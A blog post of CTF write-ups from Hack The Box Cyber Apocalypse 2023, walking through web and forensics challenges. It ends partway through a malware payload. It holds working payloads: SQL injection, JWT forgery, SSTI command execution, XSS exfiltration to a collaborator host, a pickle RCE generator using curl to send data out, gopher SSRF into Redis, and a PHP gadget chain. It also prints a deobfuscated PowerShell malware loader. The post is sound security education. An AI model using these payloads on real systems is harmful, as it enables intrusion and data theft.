Hack The Box - Cyber Apocalypse 2023 - Writeups

Mukarram Khalid • March 23, 2023

ctf htb

Our team of three players solved 38 out of 74 challanges for Hack the Box - Cyber Apocalypse 2023 - The Cursed Mission CTF. The web challanges TrapTrack and UnEarthly Shop were my favorites. The writeups are as follows:


Web - Trapped Source (very easy)

Intergalactic Ministry of Spies tested Pandora's movement and intelligence abilities. She found herself locked in a room with no apparent means of escape. Her task was to unlock the door and make her way out. Can you help her in opening the door?

This was a very easy challenge. The web page asked for a pincode and the correct pincode was visible in the source code. Submitting the correct pincode revealed the flag.

image-20230318211115744

image-20230318211115744

HTB{V13w_50urc3_c4n_b3_u53ful!!!}

Web - Gunhead (very easy)

During Pandora's training, the Gunhead AI combat robot had been tampered with and was now malfunctioning, causing it to become uncontrollable. With the situation escalating rapidly, Pandora used her hacking skills to infiltrate the managing system of Gunhead and urgently needs to take it down.

This was another very easy challenge. We had the source code of a PHP application.

The web application had a terminal where we could execute some commands.

image-20230318212232356

In the source code, we could see that this was vulnerable to command injection. There was no sanitization on the user supplied IP address.

image-20230323193857481

We were able to use a simple command injection payload to read the flag.

image-20230318212344281

HTB{4lw4y5_54n1t1z3_u53r_1nput!!!}

Web - Drobots (very easy)

Pandora's latest mission as part of her reconnaissance training is to infiltrate the Drobots firm that was suspected of engaging in illegal activities. Can you help pandora with this task?

This was another very easy challenge. This was a Python based web application and we had the source code.

There was a login page vulnerable to SQL injection.

image-20230318215450767

From the source code, we could see the user input directly appended to the SQL query.

image-20230323194446917

The following payload worked.

image-20230323194539385

image-20230318220245187

HTB{p4r4m3t3r1z4t10n_1s_1mp0rt4nt!!!}

Web - Passman (easy)

Pandora discovered the presence of a mole within the ministry. To proceed with caution, she must obtain the master control password for the ministry, which is stored in a password manager. Can you hack into the password manager?

Passman was a NodeJS based password manager web application and we had the source code.

image-20230318212430039

We created an account and logged in. The HTTP request was a GraphQL mutation query.

image-20230323201622291

In the source code, we saw another GraphQL mutation called UpdatePassword, which could allow us to update the password of any user.

image-20230323201729011

We were able to change the password of the admin user with the following payload.

POST /graphql HTTP/1.1
Host: 178.128.42.213:32531
Content-Length: 187
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://178.128.42.213:32531
Referer: http://178.128.42.213:32531/register
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1ha21hbiIsImlzX2FkbWluIjowLCJpYXQiOjE2NzkxNDYxMDN9.8WOoTBzQaY59UIUO8x1ePOhHIsiEc5B2GMZvyL4m1jM
Connection: close

{"query":"mutation($username: String!, $password: String!) { UpdatePassword( username: $username, password: $password) { message } }","variables":{"username":"admin","password":"makman"}}

image-20230323201823196

Once we logged in as the admin user, we could see the flag.

image-20230318215108594

HTB{1d0r5_4r3_s1mpl3_4nd_1mp4ctful!!}

Web - Orbital (easy)

In order to decipher the alien communication that held the key to their location, she needed access to a decoder with advanced capabilities - a decoder that only The Orbital firm possessed. Can you get your hands on the decoder?

This was another Python based web application with a login page.

image-20230318220554669

The user input was being passed directly to the SQL query again, but the password was checked separately and not in the query.

image-20230323195358478

There were several ways to exploit this however we used the error based SQL injection to dump the password hash of the admin user.

First we dumped the first 16 characters of the password hash.

POST /api/login HTTP/1.1
Host: 64.227.34.196:30824
Content-Length: 128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://64.227.34.196:30824
Referer: http://64.227.34.196:30824/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"username":"admin\" and updatexml(null,concat(0x3a,(select substring(password,1,16) from users)),null)-- -","password":"admin"}

image-20230323195855953

And then we dumped the last 16 characters.

POST /api/login HTTP/1.1
Host: 64.227.34.196:30824
Content-Length: 129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://64.227.34.196:30824
Referer: http://64.227.34.196:30824/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"username":"admin\" and updatexml(null,concat(0x3a,(select substring(password,17,32) from users)),null)-- -","password":"admin"}

The password hash was 1692b753c031f2905b89e7258dbc49bb. This was a weak MD5 hash which could be easily cracked to get the plain text string i.e. ichliebedich. This allowed us to authenticate successfully.

image-20230318221801738

From the source code, we saw another authenticated endpoint /api/export which was vulnerable to path traversal.

image-20230323200255476

It allowed us to download the flag file /signal_sleuth_firmware. The name of the flag file was visible in the Dockerfile provided with the source code.

image-20230318222044544

HTB{T1m3_b4$3d_$ql1_4r3_fun!!!}

Web - Didactic Octo Paddles (medium)

You have been hired by the Intergalactic Ministry of Spies to retrieve a powerful relic that is believed to be hidden within the small paddle shop, by the river. You must hack into the paddle shop's system to obtain information on the relic's location. Your ultimate challenge is to shut down the parasitic alien vessels and save humanity from certain destruction by retrieving the relic hidden within the Didactic Octo Paddles shop.

This was another NodeJS based application which allowed us to register accounts.

image-20230318222803788

From the source code, we could see an admin route as well which was only accessible to the admin user.

image-20230323202416487

The logic to check whether a user is an administrator or not was defined in the AdminMiddleware.

From the AdminMiddleware, we could see that it didn't allow none type JWT signing algorithm. However, it never checked for NONE.

image-20230323202631106

In case of NONE, it would go in the last else statement, which would allow us to login as administrator and the JWT verification would always pass for an empty hash because of the NONE algorithm.

We created the following JWT token.

eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5MTUyNDcxLCJleHAiOjE2NzkxNTYwNzF9.

Which decodes to this.

{"alg":"NONE","typ":"JWT"}.{"id":1,"iat":1679152471,"exp":1679156071}.

Where "id":1 is the admin account. This allowed us to login as admin user.

image-20230318232512853

The admin page printed the usernames of all the registered users. From the source code, we saw that this page was vulnerable to template injection.

image-20230323203157520

This is a known issue with jsrender and more details can be found here. So if a user creates an account with the template injection payload as the username, this payload would get triggered on the admin page.

We created a user with the following payload in the username field.

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}}
POST /register HTTP/1.1
Host: 104.248.162.147:31080
Content-Length: 187
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://104.248.162.147:31080
Referer: http://104.248.162.147:31080/register
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5MTUyNDcxLCJleHAiOjE2NzkxNTYwNzF9.
Connection: close

{"username":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()\")()}}","password":"test"}

It triggered the template injection on the admin page, which printed the flag.

image-20230318233112279

HTB{Pr3_C0MP111N6_W17H0U7_P4DD13804rD1N6_5K1115}

Web - SpyBug (medium)

As Pandora made her way through the ancient tombs, she received a message from her contact in the Intergalactic Ministry of Spies. They had intercepted a communication from a rival treasure hunter who was working for the alien species. The message contained information about a digital portal that leads to a software used for intercepting audio from the Ministry's communication channels. Can you hack into the portal and take down the aliens counter-spying operation?

SpyBug had two components. One was a NodeJS based application and the second was a Go based client. The client made HTTP requests to the web application.

From the Go client, we could see several endpoints. There was an endpoint to register an agent.

image-20230323204106000

We issued the same HTTP request and it returned an identifier and a token.

image-20230323204203356

Another endpoint from Go client was used to update details (hostname, platform, and arch) of the agent.

image-20230323204308077

Another endpoint allowed us to upload audio files.

image-20230323204422606

We moved to the web application source code. We saw an adminbot which would authenticate and visit the panel page once every minute.

image-20230323204729993

If we look at the panel view, it was vulnerable to Cross-Site Scripting attack.

image-20230323204831746

In pug templating engine, the ! exclamation mark prints the raw HTML without sanitization. Also, the panel page printed the flag.

So the attack path here would be to register an agent, upload the details of the agent with a cross-site scripting payload, wait for the adminbot to hit the payload and trigger XSS, and steal the flag with XSS.

However, there was a slight problem.

The application was using a Content-Security-Policy which did not allow inline JavaScript, and would only allow the JavaScript code hosted on the same domain.

image-20230323205348237

We had a file upload feature where the agent could upload the audio recordings. We checked if we could upload JavaScript files using that feature.

The upload endpoint was expecting a file with audio/wave mime type and .wav extension.

image-20230323205715167

And it also checked the presence of magic bytes (RIFF and WAVE) in the uploaded data to verify if it was actually an audio file.

image-20230323205823531

We could bypass all these check and upload JavaScript code. We uploaded our malicious JavaScript code with the following HTTP request.

POST /agents/upload/2defcfa8-6959-4a60-8770-26bb63512707/d75391e5-8d0f-4788-bcfb-094f7786dc5f HTTP/1.1
Host: 142.93.38.14:31095
User-Agent: Go-http-client/1.1
Content-Length: 372
Content-Type: multipart/form-data; boundary=ed04a8dbf08b609b13171d339b4bf360da7c130d5e5991fcbd0f72f05fda
Accept-Encoding: gzip, deflate
Connection: close

--ed04a8dbf08b609b13171d339b4bf360da7c130d5e5991fcbd0f72f05fda
Content-Disposition: form-data; name="recording"; filename="test.wav"
Content-Type: audio/wave

//RIFF::::WAVE
fetch('http://3vzo34u6n065vwp9z0h2b2scu30uokc9.oastify.com/d='+btoa(encodeURI(document.body.innerText)),{cache: "no-cache"});
--ed04a8dbf08b609b13171d339b4bf360da7c130d5e5991fcbd0f72f05fda--

We passed RIFF::::WAVE as a JavaScript comment to bypass the checks for magic bytes, and we uploaded our JavaScript code in a test.wav file with a mimetype of audio/wave.

Once the request was successful, it returned the filename of the uploaded file. We used this filename in our XSS payload.

POST /agents/details/2defcfa8-6959-4a60-8770-26bb63512707/d75391e5-8d0f-4788-bcfb-094f7786dc5f HTTP/1.1
Host: 46.101.90.48:30251
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=s%3A4LhhsXwl-gBH9L8x8wVXEkiEDZ1ORsW4.zW8ZsvzO6VWbjKbCToH5lF%2FvANAW%2FGgn9EoLEgn4jmw
Connection: close
Content-Type: application/json
Content-Length: 132

{
  "hostname": "<script src='/uploads/e938231e-6212-4e28-8951-db8a96604486'></script>",
  "platform": "tes",
  "arch": "test"
}

The adminbot triggered the payload and we received a hit on our Burp collaborator, which leaked the flag.

image-20230319120140837

image-20230319120551914

HTB{p01yg10t5_4nd_35p10n4g3}

Web - TrapTrack (hard)

The aliens have prepared several trap websites to spread their propaganda campaigns on the internet. Our intergalactic forensics team has recovered an artifact of their health check portal that keeps track of their trap websites. Can you take a look and see if you can infiltrate their system?

We have the source code of a Python based application. It has a login page.

image-20230321234217392

The username and the password is hardcoded in the source code as admin/admin.

image-20230321235341116

Once we login, we see a feature to add trap tracks.

image-20230321235353707

image-20230321235646513

If we create a trap with our Burp Collaborator URL, we get a hit.

image-20230321235728561

POST /api/tracks/add HTTP/1.1
Host: 188.166.152.84:31756
Content-Length: 94
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://188.166.152.84:31756
Referer: http://188.166.152.84:31756/admin/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=12d5ff67-0645-4c55-be8e-e6bdc9165655
Connection: close

{"trapName":"My Collaborator","trapURL":"http://4typ15s7l146txnax1f393qds4yvmmab.oastify.com"}

image-20230321235819941

So there's an SSRF vulnerability here. We also see from the Dockerfile that there's Redis running internally on the default port 6379.

We can use the SSRF to issue commands to redis using gopher protocol. This article explains the attack really well.

Redis accepts text based communication in the following format.

img

We see that the application uses Redis to handle background queue jobs.

In cache.py, the application pulls a job from the redis queue, base64 decodes it, and then uses pickle.loads() on it. This can lead to python deserialization attack.

image-20230324002852716

So the attack path is that we use the SSRF exploit to issue a SET command to Redis to put our base64 encoded pickled payload in the job queue, and when the application loads it, it will trigger RCE.

We need to set the payload in a hash type key jobs so we actually need to use HSET instead of SET, and a better way to do it would be to update the value of an existing job.

If we run the challenge docker locally, we see that there will always be an existing job at key 100 in Redis.

127.0.0.1:6379> KEYS *
1) "jobqueue"
2) "jobs"
3) "100"
127.0.0.1:6379> TYPE jobs
hash
127.0.0.1:6379> HGET jobs 100
"gASVeAAAAAAAAAB9lCiMBmpvYl9pZJRLZIwJdHJhcF9uYW1llIwJV2lraXBlZGlhlIwIdHJhcF91cmyUjBpodHRwczovL3d3dy53aWtpcGVkaWEub3JnL5SMCWNvbXBsZXRlZJRLAIwKaW5wcm9ncmVzc5RLAIwGaGVhbHRolEsAdS4="

We can use HSET to update the value of this job.

HSET jobs 100 VALUE_HERE

For the base64 encoded pickle payload, we can use this script.

#!/usr/bin/python3

import pickle
import base64

class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))

# Send flag to our burp collaborator 
command = 'curl -X POST "gn71vhmjfdyin9hmrd9f3fkpmgs7gz4o.oastify.com" --data `/readflag`'

payload = base64.b64encode(pickle.dumps(PickleRCE()))
print(payload)
print(len(payload))

Let's try to create a gopher payload for the HSET command.

gopher://127.0.0.1:6379/_%0D
%0D%0A  <-- \r\n
%2A4    <-- %2A is $ and there are total 4 arguments in our command
%0D%0A  <-- \r\n
%244    <-- %2A is $ and 4 is the length of HSET
%0D%0A  <-- \r\n
HSET    <-- HSET
%0D%0A  <-- \r\n
%244    <-- %2A is $ and 4 is the length of "jobs"
%0D%0A  <-- \r\n
jobs    <-- jobs
%0D%0A  <-- \r\n
%243    <-- $ and 3 is the length of "100"
%0D%0A  <-- \r\n
100     <-- 100 is the job id
%0D%0A  <-- \r\n
%24156  <-- $ and 156 is the length of our payload
%0D%0A  <-- \r\n
gASVaQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjE5jdXJsIC1YIFBPU1QgImduNzF2aG1qZmR5aW45aG1yZDlmM2ZrcG1nczdnejRvLm9hc3RpZnkuY29tIiAtLWRhdGEgYC9yZWFkZmxhZ2CUhZRSlC4= <-- base64 encoded payload
%0D%0A  <-- \r\n

This is what the final SSRF payload looks like.

gopher://127.0.0.1:6379/_%0D%0D%0A%2A4%0D%0A%244%0D%0AHSET%0D%0A%244%0D%0Ajobs%0D%0A%243%0D%0A100%0D%0A%24156%0D%0AgASVaQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjE5jdXJsIC1YIFBPU1QgImduNzF2aG1qZmR5aW45aG1yZDlmM2ZrcG1nczdnejRvLm9hc3RpZnkuY29tIiAtLWRhdGEgYC9yZWFkZmxhZ2CUhZRSlC4=%0D%0A

Let's give it a try.

We add the trap track with our SSRF payload.

image-20230324002137541

After that, if we refresh the trap list page, we get the flag on our Burp Collaborator.

image-20230322020020262

HTB{tr4p_qu3u3d_t0_rc3!}

Web - UnEarthly Shop (hard)

The Ministry has informed Pandora that the UnEarthly Shop may have valuable information on the location of the relic they are looking for. The UnEarthly Shop is a mysterious underground store that sells unearthly artifacts suspected to be remnants of an alien spacecraft. If we can gain access to their server, we may be able to uncover information about the relic's whereabouts. Can you help Pandora in her mission to gain access to the UnEarthly Shop's server and aid in the fight to save humanity?

image-20230323032618322

image-20230323034024671

There are two sides of this application, the frontend and the backend. Both have separate codebases.

The backend is for administrators to manage orders and it requires authentication. As per the Nginx configuration, all the requests to /admin point to the backend codebase.

This is what the backend looks like. It requires authentication.

image-20230323141724592

On the frontend, we can see products and place orders. Frontend does not require authentication.

image-20230323141803434

When we load the frontend, it makes an API call to get all the procuts.

image-20230323141916447

This looks like a MongoDB match aggregation. Wait, so a user can decide what aggregation to use? That's not a good idea because there are other aggregations like lookup, which can be used to join multiple collections. The mongodb lookup is like JOIN in MYSQL.

So even if this query is being executed for one collection, we can join it with another collection and pull data.

Let's take a look at this in the source code.

So this is the /api/products endpoint, which points to the products method of the ShopController.

image-20230323142452044

The controller takes our input and passes it to the getProducts method of the ProductModel.

image-20230323142632639

The product model simply executes the query on the products collection.

image-20230323142719063

So this is definitely an issue. Even if the query is being executed on the products collection, we can use lookup aggregation to join another collection (like users) and view the data. Let's take a look at both collections in the source code.

image-20230323143035853

This is interesting. If we join users collection with products collection on the _id field, we can pull the details of the admin user because the first product has the same _id as the admin user i.e. 1.

This is what the $lookup syntax looks like.

{
   "$lookup":
     {
       "from": <collection to join>,
       "localField": <field from the input documents>,
       "foreignField": <field from the documents of the "from" collection>,
       "as": <output array field - can be string>
     }
}

So our payload will be:

[
  {
    "$lookup": {
      "from": "users",
      "localField": "_id",
      "foreignField": "_id",
      "as": "test"
    }
  }
]

We get the password of the admin user.

image-20230323143656782

Side Note:

Another better payload to do this is as follows:

[
  {
    "$lookup": {
      "from": "users",
      "pipeline": [{ "$match": { "_id" : {"$ne": ""}  } }],
      "as": "userinfo"
    }
  }
]

This is better because it works even if we don't have a matching _id value in the two collections. Shoutout to tpr#7435 from discord for sharing this payload.

We're logged in as admin user.

image-20230323143828049

We saw some serialized data in the access field of the users collection, so that looks interesting.

So the access field is like a list of permissions a user has. When a user logs in on the backend, this access field is used to decide what permissions are associated with a user. We can see that happening in the AuthController. When the user logs in, the access key is stored in the $_SESSION key access.

image-20230323144557091

Then this session key is unserialized in the UserModel in the property access.

image-20230323144653647

This property is then used in the views of the application to check which parts of the application should be available to the logged in user. It's not the best idea to check for access permissions only in the views, but that's another story and not really the goal here.

Our goal is that we somehow place our serialized payload in the access field of the user collection and when it gets unserialized, we get code execution.

There's an application feature which allows us to update user name and the user password, but not the access or permissions.

image-20230323144950957

Let's take a look at the code of this and see if there's a way to exploit this and change access field as well.

So the user update feature points to the update method in the UserController.

image-20230323145702953

This method checks that the supplied data has id, username, and password fields and sends it to the updateUser method of the UserModel.

In UserModel, the updateUser method simply takes the data and updates in the users collection.

image-20230324005629047

Do you see the problem here? There's a mass assignment vulnerability here.

The application doesn't check if there are any extra fields coming in with the update user request.

It checks for the missing fields, but it never checks for the extra fields. So if we send a serialized access field, it will get updated for the user.

Side Note:

Shoutout to chilaxan#3116 from discord for sharing another way to update the access field without exploiting the mass assignment issue. The following payload exploits the MongoDB injection in /api/products endpoint to update the access field.

[
  {"$skip": 255},
  {"$unionWith": "users"},
  {"$set": {"access": "PAYLOAD_HERE"}},
  {"$out": "users"}
]

So now, we have PHP deserialization vulnerability.

PHP derealization vulnerabilities are hard to exploit because we need to use parts of the existing code to do something malicious. Sometimes we need to chain together several different parts of the existing code. These chains are called gadgets. And it's not always possible to find exploitable gadgets.

There is an open source project called PHP Generic Gadget Chains, which keeps track of these exploitable gadgets in open source PHP libraries.

Now the next part is super tricky. One thing is certain, there's no useable gadget in the actual application code because a useable gadget requires a PHP magic method. We don't have that many in the application code, so it's probably somewhere in a third party library in the vendor directory.

The next problem is that there are only 3 third party libraries in the backend code base. And these libraries do not have any known exploitable gadgets.

image-20230323151612875

However, in the frontend code, there are quite a few libraries with known exploitable gadgets like Guzzle and Monolog.

image-20230323151646881

Now the question is, can we use the deserialization bug on the backend to invoke a piece of code from the frontend even though both of them have totally separate code bases and autoloaders. It turns out we can.

This technique was used by Ambionics team in vBulletin (<= 5.6.9) Pre-authentication Remote Code Execution. You can read more about it here.

The main point from this article is that sometimes the PHP autoloaders are poorly coded which can let you load code from anywhere on the filesystem. In the article, when they used their deserialization bug to load a class googlelogin_vendor_autoload, it actually loaded the file googlelogin/vendor/autoload.php which is another autoloader, which loaded a whole lot more classes in return, which eventually loaded the class with the exploitable PHP gadget.

The autoloader in this challenge has the exact same problem.

image-20230323152423401

You see for any class with _ underscores, it will replace them with slashes and end up requireing file from another location.

We want to load the composer autoloader file of the frontend located at /www/frontend/vendor/autoload.php, which would load the Guzzle and Monolog libraries.

We can instantiate the class www_frontend_vendor_autoload which would be converted to /www/frontend/vendor/autoload.php by the backend autoloader.

After that, we can use a publicly available gadget of Monolog to get RCE. I didn't go with Guzzle gadget, because most of the RCE gadgets in Guzzle were fixed. The ones which are still available can write file to disk, which would be hard to exploit. On the other hand, the RCE gadget in Monolog is still available.

I used the following scripts to generate the payload.

First I created a file www_frontend_vendor_autoload.php.

<?php

// Load the autoloader of the frontend
class www_frontend_vendor_autoload {
}

Then I created another file MonoLogRCE.php.

<?php

// This gadget is publicly available at:
// https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/7/gadgets.php
namespace Monolog\Handler {
    class FingersCrossedHandler
    {
        protected $passthruLevel = 0;
        protected $handler;
        protected $buffer;
        protected $processors;

        function __construct($methods, $command)
        {
            $this->processors = $methods;
            $this->buffer = [$command];
            $this->handler = $this;
        }
    }
}

And then the final exploit.php to make the serialized payload.

<?php

require "www_frontend_vendor_autoload.php";
require "MonoLogRCE.php";

$obj = new www_frontend_vendor_autoload;

$obj2 = new \Monolog\Handler\FingersCrossedHandler(
    ['pos', 'system'],
    ['/readflag', 'level' => 0]
);

var_dump(json_encode(serialize([$obj, $obj2])));

I used json_encode so that the final payload has double quotes " escaped because this payload needs to go in JSON body and double quotes can mess it up. Plus json_encode would also take care of the null bytes by converting them to \u0000.

For the RCE, we're using PHP system function to execute the binary /readflag which would print the flag.

Here's the payload generated by this script.

a:2:{i:0;O:28:\"www_frontend_vendor_autoload\":0:{}i:1;O:37:\"Monolog\\Handler\\FingersCrossedHandler\":4:{s:16:\"\u0000*\u0000passthruLevel\";i:0;s:10:\"\u0000*\u0000handler\";r:3;s:9:\"\u0000*\u0000buffer\";a:1:{i:0;a:2:{i:0;s:9:\"\/readflag\";s:5:\"level\";i:0;}}s:13:\"\u0000*\u0000processors\";a:2:{i:0;s:3:\"pos\";i:1;s:6:\"system\";}}}

Once we send this payload, we get the following response.

image-20230323153719403

After that, if we simply refresh the admin dashboard, it would trigger the deserialization and print the flag.

image-20230323153803379

HTB{l00kup_4r7if4c75_4nd_4u70lo4d_g4dg37s}

Forensics - Relic Maps (medium)

Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what's going on and get the flag. The link is to http://relicmaps.htb:/relicmaps.one. The document is still live (relicmaps.htb should resolve to your docker instance).

The challenge description mentions a file hosted at http://relicmaps.htb:PORT/relicmaps.one. It's OneNote file.

We can use OneNote Analyzer to analyze this file.

.\OneNoteAnalyzer.exe --file "C:\Users\test\Desktop\topsecret-maps.one"

It would dump all the attachments of this OneNote file.

image-20230322131726176

We see a few HTA files, which are all the same. Let's analyze what this HTA file does.

It downloads and executes two files.

image-20230322131837488

The first one is another OneNote file topsecret-maps.one. There was nothing useful in it.

The second one window.bat is an obfuscated bat file. This bat file is dynamically creating a powershell script and executing it. The chunks of the powershell script are stored in several variables.

image-20230322132227507

It also has a long obfuscated comment. May be it's just a useless comment to make the script harder to read.

image-20230322133032175

If we echo all the chunks, this is the powershell script we get.

$eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\makman\Desktop\window.bat').Split([Environment]::NewLine);
foreach ($YiLGWin $eIfqq) { if ($YiLGW.StartsWith(':: ')) {
        $VuGcO = $YiLGW.Substring(3);
        break;
    };
};
$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);
$BacUA = New-Object System.Security.Cryptography.AesManaged;
$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');
$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');
$Nlgap = $BacUA.CreateDecryptor();
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);
$Nlgap.Dispose();
$BacUA.Dispose();
$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);
$bTMLk = New-ObjectSystem.IO.MemoryStream;
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);
$NVPbn.CopyTo($bTMLk);
$NVPbn.Dispose();
$mNKMr.Dispose();
$bTMLk.Dispose();
$uZOcm = $bTMLk.ToArray();
$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);
$PtfdQ = $gDBNO.EntryPoint;
$PtfdQ.Invoke($null, (, [string[]]('')))

On line # 1, this powershell script extracts the comment from the previous bat file. So it seems like that comment was not useless after all. Once the comment is extracted, the powershell script AES decrypts it with a Key and IV from line # 7 to 14. BTW, do you see the method names in reverse? e.g. FromBase64String is gnirtS46esaBmorF and ReadAllText is txeTllAdaeR. Malware authors love that for some reason.

After the decryption, it converts the results into a memory stream and does a GZip decompression on it on line # 19.

Then it uses System.Reflection.Assembly to load the resulting bytes on line # 25. Malware authors love that too. Then it invokes the loaded assembly on line # 27.

We can modify this script to write the bytes to a binary on disk instead of reflective loading, so that we can further analyze it.

Here's the modified script.

$YiLGW = ":: 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